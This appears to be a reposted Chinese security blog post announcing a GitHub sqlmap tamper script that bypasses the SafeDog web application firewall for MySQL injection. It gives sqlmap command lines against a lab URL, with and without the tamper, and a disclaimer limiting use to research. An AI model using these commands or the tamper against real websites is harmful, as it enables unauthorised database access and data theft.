MySQL注入绕安全狗脚本

2023年2月3日12:03:57评论32 views字数 688阅读2分17秒阅读模式

项目作者：Tas9er

项目地址：https://github.com/Tas9er/MySQLByPassForSafeDog

工具介绍

此Tamper仅仅适用于MySQL数据库，在SQLMap使用过程中添加参数--tamper=MySQLByPassForSafeDog。

安装与使用

1、安装网站安全狗Apache最新版

MySQL注入绕安全狗脚本

2、启用安全狗，不加MySQLByPassForSafeDog绕狗Tamper:

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql

MySQL注入绕安全狗脚本

3、启用安全狗，添加MySQLByPassForSafeDog绕狗Tamper:

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog

MySQL注入绕安全狗脚本

4、绕过POC

可以添加参数-v 3进行学习查看

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog -v 3

MySQL注入绕安全狗脚本

下载地址

通过项目地址下载:

声明

仅供安全研究与学习之用，若将工具做其他用途，由使用者承担全部法律及连带责任，作者不承担任何法律及连带责任。

扫码加好友拉你进交流群（请备注）

MySQL注入绕安全狗脚本

原文始发于微信公众号（菜鸟学安全）：MySQL注入绕安全狗脚本

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究，若将其信息做其他用途，由用户承担全部法律及连带责任，本站不承担任何法律及连带责任，请遵守中华人民共和国安全法.

waf bypass payload